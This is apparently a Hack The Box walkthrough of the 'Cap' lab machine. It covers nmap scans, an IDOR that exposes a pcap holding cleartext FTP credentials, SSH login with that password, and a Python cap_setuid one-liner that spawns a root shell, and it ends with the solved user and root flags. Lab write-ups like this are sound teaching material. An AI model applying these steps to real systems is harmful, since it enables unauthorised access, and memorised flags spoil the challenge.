Cap – HTB Write-Up

Enumeration

We began with an **Nmap scan** of the target machine (10.129.122.126):

```
nmap -p- --min-rate=1000 -T4 -Pn 10.129.122.126
```

Results showed **3 open TCP ports**:

- 21/tcp – FTP (vsftpd 3.0.3)
- 22/tcp – SSH (OpenSSH 8.2p1 Ubuntu)
- 80/tcp – HTTP (Gunicorn web server)

We followed up with a service/version scan:

```
nmap -sC -sV -p 21,22,80 10.129.122.126
```

This confirmed the services and revealed a **“Security Dashboard”** running on port 80.

Web Enumeration

Browsing to http://10.129.122.126/ revealed the **Security Dashboard**. One of the options, **Security Snapshot**, allowed us to generate and download packet captures (pcap files).

When downloading a capture, the URL format looked like:

http://10.129.122.126/data/1

This hinted at an **IDOR (Insecure Direct Object Reference)** vulnerability, since the numeric ID in the path could be modified.

Exploiting IDOR

By manually adjusting the ID in the URL, we discovered that /data/0 returned a capture with **72 packets**, unlike our own empty captures.

We downloaded this pcap file and inspected it with tcpdump:

```
tcpdump -r 0.pcap
```

Inside the capture, we found **cleartext FTP credentials**:

```
USER nathan
```

```
PASS Buck3tH4TF0RM3!
```

This confirmed sensitive data leakage through IDOR.

Gaining Foothold

We attempted FTP login with these credentials and succeeded, but the real breakthrough was trying them against **SSH** on port 22:

```
ssh nathan@10.129.122.126
```

```
Password: Buck3tH4TF0RM3!
```

This granted us a shell as user **nathan**.

Inside Nathan’s home directory, we found and retrieved the **user flag**:

```
cat user.txt
```

```
5f1038830fe1c646805194c8b8e420e7
```

Privilege Escalation

Next, we enumerated the system for privilege escalation vectors. Running getcap revealed something unusual:

```
getcap -r / 2>/dev/null
```

Output included:

```
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
```

The cap_setuid capability allows the binary to set its user ID arbitrarily. Since this was applied to Python, we could leverage it to escalate privileges.

We executed:

```
python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'
```

This dropped us into a root shell. From there, we grabbed the root flag:

```
cat /root/root.txt
```

```
824d9ff55b284b3c9c116a74cbc25ad9
```

Results

- **User flag:** 5f1038830fe1c646805194c8b8e420e7
- **Root flag:** 824d9ff55b284b3c9c116a74cbc25ad9

Exploitation Path:

Nmap → HTTP Enumeration → IDOR → PCAP Analysis → FTP Credentials → SSH Access → Python Capability Abuse → Root